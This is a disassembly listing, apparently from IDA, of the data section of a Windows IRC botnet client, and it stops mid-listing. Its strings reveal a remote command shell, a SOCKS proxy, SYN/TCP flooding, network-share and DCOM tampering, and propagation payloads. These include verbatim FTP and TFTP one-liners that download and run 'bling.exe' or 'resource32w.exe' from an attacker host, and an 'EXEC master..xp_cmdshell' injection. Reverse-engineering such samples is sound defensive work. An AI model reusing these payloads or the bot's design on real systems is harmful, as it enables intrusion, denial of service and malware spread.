sub_4089DC+B76o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_4089DC+B65o align 4 aChan db '$chan',0 ; DATA XREF: sub_4089DC+B47o align 10h aUser_2 db '$user',0 ; DATA XREF: sub_4089DC+B36o align 4 aMe db '$me',0 ; DATA XREF: sub_4089DC+B24o aD_0 db '$%d',0 ; DATA XREF: sub_4089DC+ABBo aD_1 db '$%d-',0 ; DATA XREF: sub_4089DC+A08o align 4 dword_4278E8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_4089DC+96Eo dd 0A0Dh dword_427900 dd 4E495001h, 47h ; DATA XREF: sub_4089DC+93Fo dword_427908 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_4089DC+931o dd 0D017325h, 0Ah dword_427924 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_4089DC+900o dword_427930 dd 23h ; DATA XREF: sub_4089DC+871o dword_427934 dd 6Ch ; DATA XREF: sub_4089DC+7CCo dword_427938 dd 323333h ; DATA XREF: sub_4089DC+72Eo ; sub_4089DC+7E9o ... aMainJoinedChan db '[MAIN]: Joined channel: %s.',0 ; DATA XREF: sub_4089DC+6F0o aMainUserSLog_0 db '[MAIN]: User: %s logged out.',0 ; DATA XREF: sub_4089DC+690o align 4 a353 db '353',0 ; DATA XREF: sub_4089DC+63Eo aPart db 'PART',0 ; DATA XREF: sub_4089DC+5C2o align 4 aSS_3 db ':%s%s',0 ; DATA XREF: sub_4089DC+593o align 4 aNick db 'NICK',0 ; DATA XREF: sub_4089DC+3E4o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4089DC+370o ; sub_4089DC+6CEo aMainUserSLogge db '[MAIN]: User %s logged out.',0 ; DATA XREF: sub_4089DC+357o ; sub_4089DC+4F35o ... aKick db 'KICK',0 ; DATA XREF: sub_4089DC+2D7o align 4 aNickS_0 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_4089DC+26Eo ; sub_4089DC+3D4Do ... align 4 a433 db '433',0 ; DATA XREF: sub_4089DC+24Bo a@: ; DATA XREF: sub_4089DC+222o unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_4089DC+215o a005 db '005',0 ; DATA XREF: sub_4089DC+202o a001 db '001',0 ; DATA XREF: sub_4089DC+1EFo aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4089DC+1D2o ; sub_4089DC+351Bo ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_4089DC+1B0o align 4 aPing db 'PING',0 ; DATA XREF: sub_4089DC+19Ao align 4 asc_427A0C: ; DATA XREF: sub_4089DC+188o ; sub_4089DC+5AF6o unicode 0, <!>,0 aSecureSystemSe db '[SECURE]: System secure monitor active.',0 ; DATA XREF: sub_40E6BB+38Fo aMainBotStarted db '[MAIN]: Bot started.',0 ; DATA XREF: sub_40E6BB+356o align 10h aSDS db '%s %d "%s"',0 ; DATA XREF: sub_40E6BB+286o align 4 aRedirectFail_0 db '[REDIRECT]: Failed to start connection thread, error: <%d>.',0 ; DATA XREF: sub_40ECAB+153o aRedirectClient db '[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.',0 ; DATA XREF: sub_40ECAB+DBo align 4 aRedirectFail_1 db '[REDIRECT]: Failed to start client thread, error: <%d>.',0 ; DATA XREF: sub_40EE88+13Fo aRedirectClie_0 db '[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.',0 ; DATA XREF: sub_40EE88+DDo align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40F077+35o aCmdCouldNotR_0 db '[CMD]: Could not read data from proccess.',0Dh,0Ah,0 ; DATA XREF: sub_40F105:loc_40F269o aCmdProccessHas db '[CMD]: Proccess has terminated.',0Dh,0Ah,0 ; DATA XREF: sub_40F105+141o align 4 aCmdCouldNotRea db '[CMD]: Could not read data from proccess',0Dh,0Ah,0 ; DATA XREF: sub_40F105:loc_40F214o align 10h aCmdFailedToSta db '[CMD]: Failed to start IO thread, error: <%d>.',0 ; DATA XREF: sub_40F292+18Eo align 10h aCmdRemoteComma db '[CMD]: Remote Command Prompt',0 ; DATA XREF: sub_40F292+146o align 10h aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40F292+1Fo aRlogindProtoco db '[RLOGIND]: Protocol string too long.',0 ; DATA XREF: sub_40F441:loc_40F473o align 10h aRlogindLoginRe db '[RLOGIND]: Login rejected, Remote user: <%s@%s>.',0 ; DATA XREF: sub_40F48C+39o align 4 aRlogindUserL_0 db '[RLOGIND]: User logged out: <%s@%s>.',0 ; DATA XREF: sub_40F4D9+1EFo align 4 aRlogindErrorSe db '[RLOGIND]: Error: SessionRun(): <%d>.',0 ; DATA XREF: sub_40F4D9+1CFo align 4 aRlogindUserLog db '[RLOGIND]: User logged in: <%s@%s>.',0 ; DATA XREF: sub_40F4D9+1AFo aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_40F4D9+184o align 4 aRlogindErrorGe db '[RLOGIND]: Error: getpeername(): <%d>.',0 ; DATA XREF: sub_40F4D9+F4o align 4 aRlogindError_0 db '[RLOGIND]: Error: server failed, returned: <%d>.',0 ; DATA XREF: sub_40F6E5+215o align 4 aRlogindFaile_1 db '[RLOGIND]: Failed to start client thread, error: <%d>.',0 ; DATA XREF: sub_40F6E5+1C9o align 10h aRlogindClientC db '[RLOGIND]: Client connection from IP: %s:%d, Server thread: %d.',0 ; DATA XREF: sub_40F6E5+158o aRlogindReadyAn db '[RLOGIND]: Ready and waiting for incoming connections.',0 ; DATA XREF: sub_40F6E5+FFo align 4 aRlogindFaile_0 db '[RLOGIND]: Failed to install control-C handler, error: <%d>.',0 ; DATA XREF: sub_40F6E5+70o align 4 aRlogindErrorWs db '[RLOGIND]: Error: WSAStartup(): <%d>.',0 ; DATA XREF: sub_40F6E5+3Eo align 10h aSI db '%s%i',0 ; DATA XREF: sub_40F961+40o ; .text:0040FA5Co ... align 4 aPc db 'PC',0 ; DATA XREF: .text:0040FA2Ao align 4 aS_7 db '[%s]',0 ; DATA XREF: .text:0040FB92o align 4 a??? db '???',0 ; DATA XREF: .text:loc_40FB89o ; sub_4116D2:loc_411773o a2k3 db '2K3',0 ; DATA XREF: .text:0040FB82o aXp_0 db 'XP',0 ; DATA XREF: .text:0040FB77o ; sub_4116D2+8Bo align 10h a2k db '2K',0 ; DATA XREF: .text:0040FB6Ao ; sub_4116D2+7Co align 4 aMe_0 db 'ME',0 ; DATA XREF: .text:0040FB57o ; sub_4116D2+68o align 4 a98 db '98',0 ; DATA XREF: .text:0040FB4Ao ; sub_4116D2+59o align 4 aNt db 'NT',0 ; DATA XREF: .text:0040FB3Do ; sub_4116D2+4Ao align 10h a95 db '95',0 ; DATA XREF: .text:0040FB32o ; sub_4116D2+39o align 4 aDS db '[%d]%s',0 ; DATA XREF: sub_40FBDB+39o align 4 aM_0 db '[M]',0 ; DATA XREF: sub_40FBDB+2Bo ; sub_40FBDB+50o aScanIpSPortD_0 db '[SCAN]: IP: %s Port: %d is open.',0 ; DATA XREF: sub_40FD09+85o align 4 aScanScanningIp db '[SCAN]: Scanning IP: %s, Port: %d.',0 ; DATA XREF: sub_40FDCB+40o align 4 aD_2 db 'D:\',0 ; DATA XREF: .data:0042C394o aD_3 db 'D$',0 ; DATA XREF: .data:0042C390o align 10h aC_2 db 'C:\',0 ; DATA XREF: .data:0042C38Co aC_3 db 'C$',0 ; DATA XREF: .data:0042C388o align 4 aAdmin_0 db 'ADMIN$',0 ; DATA XREF: .data:0042C380o align 10h aIpc db 'IPC$',0 ; DATA XREF: .data:off_42C378o align 4 aSecureNetapi32 db '[SECURE]: Netapi32.dll couldn',27h,'t be loaded.',0 ; DATA XREF: sub_40FE91+2E8o ; sub_4101B8+2DAo align 4 aSecureNetworkS db '[SECURE]: Network shares deleted.',0 ; DATA XREF: sub_40FE91+2D2o align 4 aSecureFailed_4 db '[SECURE]: Failed to delete ',27h,'%S',27h,' share.',0 ; DATA XREF: sub_40FE91:loc_4100FCo align 10h aSecureShareS_0 db '[SECURE]: Share ',27h,'%S',27h,' deleted.',0 ; DATA XREF: sub_40FE91+264o align 10h aSecureFailed_3 db '[SECURE]: Failed to delete ',27h,'%s',27h,' share.',0 ; DATA XREF: sub_40FE91:loc_41006Co align 4 aSecureShareSDe db '[SECURE]: Share ',27h,'%s',27h,' deleted.',0 ; DATA XREF: sub_40FE91+1D4o align 4 aSecureAdvapi32 db '[SECURE]: Advapi32.dll couldn',27h,'t be loaded.',0 ; DATA XREF: sub_40FE91:loc_40FFC4o ; sub_4101B8:loc_4102E7o align 4 aSecureFailed_2 db '[SECURE]: Failed to open IPC$ Restriction registry key.',0 ; DATA XREF: sub_40FE91:loc_40FFBDo aSecureRestrict db '[SECURE]: Restricted access to the IPC$ Share.',0 ; DATA XREF: sub_40FE91:loc_40FFA5o align 4 aSecureFailed_1 db '[SECURE]: Failed to restrict access to the IPC$ Share.',0 ; DATA XREF: sub_40FE91+10Do align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_40FE91+EEo ; sub_4101B8+EEo align 4 aSecureFailed_0 db '[SECURE]: Failed to open DCOM registry key.',0 ; DATA XREF: sub_40FE91+92o ; sub_4101B8+92o aSecureDcomDisa db '[SECURE]: DCOM disabled.',0 ; DATA XREF: sub_40FE91:loc_40FF05o align 10h aSecureDisableD db '[SECURE]: Disable DCOM failed.',0 ; DATA XREF: sub_40FE91+6Do align 10h aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_40FE91+55o ; sub_4101B8+55o align 4 aSecureNetwor_0 db '[SECURE]: Network shares added.',0 ; DATA XREF: sub_4101B8+2C2o aC_0 db '%c:\',0 ; DATA XREF: sub_4101B8+22Co align 4 aC_1 db '%c$',0 ; DATA XREF: sub_4101B8+21Bo aSecureFailed_7 db '[SECURE]: Failed to add ',27h,'%s',27h,' share.',0 ; DATA XREF: sub_4101B8:loc_410366o ; sub_4101B8:loc_41042Do aSecureShareSAd db '[SECURE]: Share ',27h,'%s',27h,' added.',0 ; DATA XREF: sub_4101B8+1A7o ; sub_4101B8+26Eo aSecureFailed_6 db '[SECURE]: Failed to open IPC$ restriction registry key.',0 ; DATA XREF: sub_4101B8:loc_4102E0o aSecureUnrestri db '[SECURE]: Unrestricted access to the IPC$ Share.',0 ; DATA XREF: sub_4101B8:loc_4102C8o align 4 aSecureFailed_5 db '[SECURE]: Failed to unrestrict access to the IPC$ Share.',0 ; DATA XREF: sub_4101B8+109o align 10h aSecureDcomEnab db '[SECURE]: DCOM enabled.',0 ; DATA XREF: sub_4101B8:loc_41022Co aSecureEnableDc db '[SECURE]: Enable DCOM failed.',0 ; DATA XREF: sub_4101B8+6Do align 4 aRlogindFaile_2 db '[RLOGIND]: Failed to execute shell, error: <%d>.',0 ; DATA XREF: sub_410547+B7o align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410547+80o align 4 aRlogindSession db '[RLOGIND]: SessionReadShellThread exited, error: <%ld>.',0 ; DATA XREF: sub_410613+89o aRlogindFaile_5 db '[RLOGIND]: Failed to execute shell.',0 ; DATA XREF: sub_4107C5+B2o aRlogindFaile_4 db '[RLOGIND]: Failed to create shell stdin pipe, error: <%d>.',0 ; DATA XREF: sub_4107C5+82o align 4 aRlogindFaile_3 db '[RLOGIND]: Failed to create shell stdout pipe, error: <%d>.',0 ; DATA XREF: sub_4107C5+5Fo aRlogindWaitfor db '[RLOGIND]: WaitForMultipleObjects error: <%d>.',0 ; DATA XREF: sub_4108C1+E2o align 4 aRlogindFaile_6 db '[RLOGIND]: Failed to create ReadShell session thread, error: <%d>' ; DATA XREF: sub_4108C1+59o ; sub_4108C1+8Fo db '.',0 align 4 aSocks4ErrorF_0 db '[SOCKS4]: Error: Failed to connect to target, returned: <%d>.',0 ; DATA XREF: sub_410DC6+1A7o align 4 aSocks4ErrorFai db '[SOCKS4]: Error: Failed to open socket(), returned: <%d>.',0 ; DATA XREF: sub_410DC6+187o align 4 aSocks4Authenti db '[SOCKS4]: Authentication failed. Remote userid: %s != %s.',0 ; DATA XREF: sub_410DC6+F6o align 4 aSocks4Failed_1 db '[SOCKS4]: Failed to start server on Port %d.',0 ; DATA XREF: sub_410FF6+1A1o align 4 aSocks4Failed_0 db '[SOCKS4]: Failed to start client thread, error: <%d>.',0 ; DATA XREF: sub_410FF6+16Co align 4 aSocks4ClientCo db '[SOCKS4]: Client connection from IP: %s:%d, Server thread: %d.',0 ; DATA XREF: sub_410FF6+107o align 4 aSynSendErrorD_ db '[SYN]: Send error: <%d>.',0 ; DATA XREF: sub_4111E2+242o align 4 aSynDoneWithFlo db '[SYN]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_4114B6+48o align 4 aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_411551+39o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_4116D2+247o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 10h aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_4116D2+161o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_4116D2:loc_411805o align 4 aSS_5 db '%s (%s)',0 ; DATA XREF: sub_4116D2+C0o aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_411939+99o align 4 off_42872C dd offset loc_412F4E ; DATA XREF: sub_411939+67o dword_428730 dd 4E414Ch ; DATA XREF: sub_411939:loc_411998o dword_428734 dd 6C616944h, 70752Dh ; DATA XREF: sub_411939+50o dword_42873C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h, 0 ; DATA XREF: sub_411939+3Ao aTcpErrorSendin db '[TCP]: Error sending packets to IP: %s. Packets sent: %d. Returne' ; DATA XREF: sub_4119EF+3C5o db 'd: <%d>.',0 align 10h aTcpDoneWithSFl db '[TCP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/se' ; DATA XREF: sub_4119EF+35Bo db 'c (%dMB).',0 align 4 aTcpInvalidTarg db '[TCP]: Invalid target IP.',0 ; DATA XREF: sub_4119EF+CBo align 4 aTcpErrorSetsoc db '[TCP]: Error: setsockopt() failed, returned: <%d>.',0 ; DATA XREF: sub_4119EF+ACo align 4 aTcpErrorSocket db '[TCP]: Error: socket() failed, returned: <%d>.',0 ; DATA XREF: sub_4119EF+67o align 4 dword_42886C dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_411DD2+460o aTftpFileTran_0 db '[TFTP]: File transfer complete to IP: %s (%s).',0 ; DATA XREF: sub_411DD2+44Co align 4 aTftpFileNotFou db '[TFTP]: File not found: %s (%s).',0 ; DATA XREF: sub_411DD2+395o align 4 dword_4288CC dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_411DD2+379o aTftpFileTransf db '[TFTP]: File transfer started to IP: %s (%s).',0 ; DATA XREF: sub_411DD2+324o align 10h aTftpFailedToOp db '[TFTP]: Failed to open file: %s.',0 ; DATA XREF: sub_411DD2+14Do align 4 aTftpErrorSocke db '[TFTP]: Error: socket() failed, returned: <%d>.',0 ; DATA XREF: sub_411DD2+6Co aOctet db 'octet',0 ; DATA XREF: sub_411DD2+11o align 4 aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_412305+10o aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_4124D0+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4124D0+35o aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_4125E5+2B8o ; .text:00412D83o ... align 4 aHostSContentTy db 'Host: %s',0Dh,0Ah ; DATA XREF: sub_4125E5+1BAo db 'Content-Type: text/xml',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_1 db ' HTTP/1.1',0Dh,0Ah,0 ; DATA XREF: sub_4125E5+183o aSearch db 'SEARCH /',0 ; DATA XREF: sub_4125E5+CCo align 10h aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: .text:00412CEDo db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: .text:00412CC3o aNilsisgay db 'NILSISGAY!!',0 ; DATA XREF: .text:00412B94o ; --------------------------------------------------------------------------- loc_428ABC: ; DATA XREF: .text:00412B81o jmp short loc_428ACD ; --------------------------------------------------------------------------- align 10h dword_428AC0 dd 2016280h, 100BDh, 8F160001h ; DATA XREF: .text:00412B09o db 82h ; --------------------------------------------------------------------------- loc_428ACD: ; CODE XREF: .rdata:loc_428ABCj add [eax], eax ; --------------------------------------------------------------------------- db 0 dd 2 dup(0) aEchoOpenSDOE_0 db 'echo open %s %d>o&echo USER a>>o&echo a>>o&echo binary>>o&echo ge' ; DATA XREF: sub_412DDE+8Eo ; .text:00413A97o db 't resource32w.exe>>o&echo quit>>o&ftp -n -s:o&del o&resource32w.e' db 'xe',0Dh,0Ah,0 align 10h aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_412F21+27o ; .text:0041355Do align 4 dword_428B6C dd 1CEC8166h ; DATA XREF: sub_412F21+Dr ; .text:00413509r dword_428B70 dd 0E4FF07h ; DATA XREF: sub_412F21+16r ; .text:00413513r aSTryingToXploi db '[%s]: Trying to Xploit IP: %s.',0 ; DATA XREF: .text:00413B0Eo align 4 aSExploitingI_0 db '[%s]: Exploiting IP: (%s:%d) User: (%s/%s).',0 ; DATA XREF: .text:00413D7Fo aTftpFileTran_1 db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: .text:00413D06o align 4 aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: .text:00413CF1o align 4 ; aExecMaster(long long, *) aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'tftp -i %s GET %s',27h,0 ; DATA XREF: .text:00413CBAo align 4 aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0 ; DATA XREF: .text:00413C2Fo align 10h aSExploitingI_1 db '[%s]: Exploiting IP: %s, Share: \%s, User: (%s/%s)',0 ; DATA XREF: sub_413E26+206o align 4 aNoPassword db '(no password)',0 ; DATA XREF: sub_413E26+1E4o align 4 aSSS_3 db '%s\%s\%s',0 ; DATA XREF: sub_413E26+CBo align 10h aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: sub_413E26+6Co aCWinntSystem32 db 'c$\winnt\system32',0 ; DATA XREF: sub_413E26+65o align 4 aAdminSystem32 db 'Admin$\system32',0 ; DATA XREF: sub_413E26+5Eo aSIpc_0 db '%s\ipc$',0 ; DATA XREF: .text:0041415Co aS_6 db '\\%s',0 ; DATA XREF: .text:0041411Eo align 4 stru_428D08 _msEH <0FFFFFFFFh, 0, offset sub_414839> ; DATA XREF: sub_4147F3+2o align 8 stru_428D18 _msEH <0FFFFFFFFh, 0, offset sub_414897> ; DATA XREF: sub_414844+2o align 8 stru_428D28 _msEH <0FFFFFFFFh, 0, offset sub_4149E0> ; DATA XREF: sub_41499E+2o align 8 stru_428D38 _msEH <0FFFFFFFFh, 0, offset sub_414B4A> ; DATA XREF: sub_4149EA+2o align 8 stru_428D48 _msEH <0FFFFFFFFh, 0, offset sub_414BE9> ; DATA XREF: sub_414B97+2o db 0 align 4 stru_428D58 _msEH <0FFFFFFFFh, 0, offset sub_414C75> ; DATA XREF: sub_414C06+2o align 8 stru_428D68 _msEH <0FFFFFFFFh, offset loc_415004, offset loc_415008> ; DATA XREF: sub_414F66+2o align 8 stru_428D78 _msEH <0FFFFFFFFh, 0, offset sub_415B33> ; DATA XREF: sub_415ADF+2o align 8 stru_428D88 _msEH <0FFFFFFFFh, 0, offset sub_415D00> ; DATA XREF: sub_415C85+2o aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: sub_415D49+Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_415D49o stru_428DB0 _msEH <0FFFFFFFFh, 0, offset sub_4160C6> ; DATA XREF: sub_416087+2o ; sub_416492+53r align 10h stru_428DC0 _msEH <0FFFFFFFFh, offset loc_4162B1, offset loc_4162C5> ; DATA XREF: .text:0041611Bo align 10h byte_428DD0 db 6 ; DATA XREF: sub_416492:loc_4164F3r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .data:off_42D7DCo unicode 0, <(null)>,0 align 4 aNull_1 db '(null)',0 ; DATA XREF: .data:off_42D7D8o align 8 stru_428E48 _msEH <0FFFFFFFFh, offset loc_417210, offset loc_417214> ; DATA XREF: sub_416D3B+5o align 8 aHH: unicode 0, < h(((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(1810181h), 0Ah dup(1010101h), 3 dup(100010h) dd 3 dup(1820182h), 0Ah dup(1020102h), 2 dup(100010h) dd 20h, 4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h dd 7C7B7A79h, 7F7E7Dh stru_428FD8 _msEH <0FFFFFFFFh, 0, offset sub_417AB0> ; DATA XREF: sub_417A7E+2o align 8 stru_428FE8 _msEH <0FFFFFFFFh, 0, offset sub_417BB0> ; DATA XREF: sub_417B3C+2o align 8 stru_428FF8 _msEH <0FFFFFFFFh, 0, offset sub_417D59> ; DATA XREF: sub_417C8D+2o dd 2 dup(0) dd offset sub_417D28 stru_429010 _msEH <0FFFFFFFFh, 0, offset sub_418F3B> ; DATA XREF: sub_418EB7+2o align 10h stru_429020 _msEH <0FFFFFFFFh, 0, offset sub_4195CB> ; DATA XREF: sub_4194B5+2o align 10h dbl_429030 dq 0.0 ; DATA XREF: sub_41965E+6r dword_429038 dd 30302B65h, 30h ; DATA XREF: sub_4196D3+52o dbl_429040 dq 1.0 ; DATA XREF: sub_4199FC+2Ar dbl_429048 dq 4.195835e6 ; DATA XREF: sub_4199FC+Fr dbl_429050 dq 3.145727e6 ; DATA XREF: sub_4199FC+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_419A3C+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_419A3Co align 10h dword_429080 dd 2 dup(0) ; DATA XREF: sub_419C39+1Co ; sub_41C3E0+1Eo ... stru_429088 _msEH <0FFFFFFFFh, offset loc_419F32, offset loc_419F36> ; DATA XREF: sub_419C39+2o dd 0FFFFFFFFh, 419D2Fh, 419D33h, 0FFFFFFFFh, 419DFDh, 419E01h dd 0 db 2 dup(0) word_4290B2 dw 20h ; DATA XREF: sub_41E37C+18r ; .data:0042D840o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 41h dup(0) db 2 dup(0) word_4292BA dw 20h ; DATA XREF: .data:off_42DEB4o aHH_0: unicode 0, < h(((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(1810181h), 0Ah dup(1010101h), 3 dup(100010h) dd 3 dup(1820182h), 0Ah dup(1020102h), 2 dup(100010h) dd 10h dup(200020h), 480020h, 8 dup(100010h), 140010h dd 100014h, 2 dup(100010h), 100014h, 2 dup(100010h), 1010010h dd 0Bh dup(1010101h), 1010010h, 3 dup(1010101h), 0Ch dup(1020102h) dd 1020010h, 3 dup(1020102h), 1010102h, 0 stru_4294C0 _msEH <0FFFFFFFFh, offset sub_41A012, offset loc_41A016> ; DATA XREF: sub_41A026-2Fo align 10h stru_4294D0 _msEH <0FFFFFFFFh, 0, offset sub_41A14E> ; DATA XREF: sub_41A0A1+2o align 10h dd offset loc_41A114 dd offset loc_41A11D stru_4294E8 _msEH <0FFFFFFFFh, offset sub_41A1A3, offset loc_41A1AC> ; DATA XREF: sub_41A16F+2o align 8 stru_4294F8 _msEH <0FFFFFFFFh, 0, offset sub_41A30E> ; DATA XREF: sub_41A1D1+2o align 8 dd offset loc_41A256 dd offset loc_41A299 stru_429510 _msEH <0FFFFFFFFh, offset sub_41A4E8, offset loc_41A4EC> ; DATA XREF: sub_41A378+2o align 10h stru_429520 _msEH <0FFFFFFFFh, offset loc_41A8C4, offset loc_41A8C8> ; DATA XREF: sub_41A89F+2o align 10h stru_429530 _msEH <0FFFFFFFFh, offset loc_41A8F1, offset loc_41A8F5> ; DATA XREF: sub_41A8D4+2o align 10h stru_429540 _msEH <0FFFFFFFFh, 0, offset sub_41AC5B> ; DATA XREF: sub_41ABF8+2o align 10h stru_429550 _msEH <0FFFFFFFFh, 0, offset sub_41AF44> ; DATA XREF: sub_41ADFD+2o align 10h stru_429560 _msEH <0FFFFFFFFh, 0, offset sub_41B0D8> ; DATA XREF: sub_41B0A6+2o align 10h stru_429570 _msEH <0FFFFFFFFh, offset loc_41B11D, offset loc_41B121> ; DATA XREF: sub_41B0F0+2o align 10h stru_429580 _msEH <0FFFFFFFFh, offset loc_41B161, offset loc_41B165> ; DATA XREF: sub_41B134+2o align 10h stru_429590 _msEH <0FFFFFFFFh, 0, offset sub_41B270> ; DATA XREF: sub_41B1EC+2o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_42DFCCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41B3F9+12Co ; sub_41DFF5+134o align 10h asc_4298C0 db 0Ah ; DATA XREF: sub_41B3F9+110o ; sub_41DFF5+101o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41B3F9+FEo db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_41B3F9+CAo ; sub_41DFF5+D1o aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41B3F9+89o ; sub_41DFF5+88o align 10h stru_429900 _msEH <0FFFFFFFFh, 0, offset sub_41BF94> ; DATA XREF: sub_41BF10+2o align 10h stru_429910 _msEH <0FFFFFFFFh, 0, offset sub_41C157> ; DATA XREF: sub_41C0B0+2o align 10h stru_429920 _msEH <0FFFFFFFFh, offset loc_41C4B9, offset loc_41C4BD> ; DATA XREF: sub_41C3E0+2o aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:0042E1BCo aMmDdYy db 'MM/dd/yy',0 ; DATA XREF: .data:0042E1B8o align 4 aDecember db 'December',0 ; DATA XREF: .data:0042E1ACo align 4 aNovember db 'November',0 ; DATA XREF: .data:0042E1A8o align 4 aOctober db 'October',0 ; DATA XREF: .data:0042E1A4o aSeptember db 'September',0 ; DATA XREF: .data:0042E1A0o align 4 aAugust db 'August',0 ; DATA XREF: .data:0042E19Co align 10h aJuly db 'July',0 ; DATA XREF: .data:0042E198o align 4 aJune db 'June',0 ; DATA 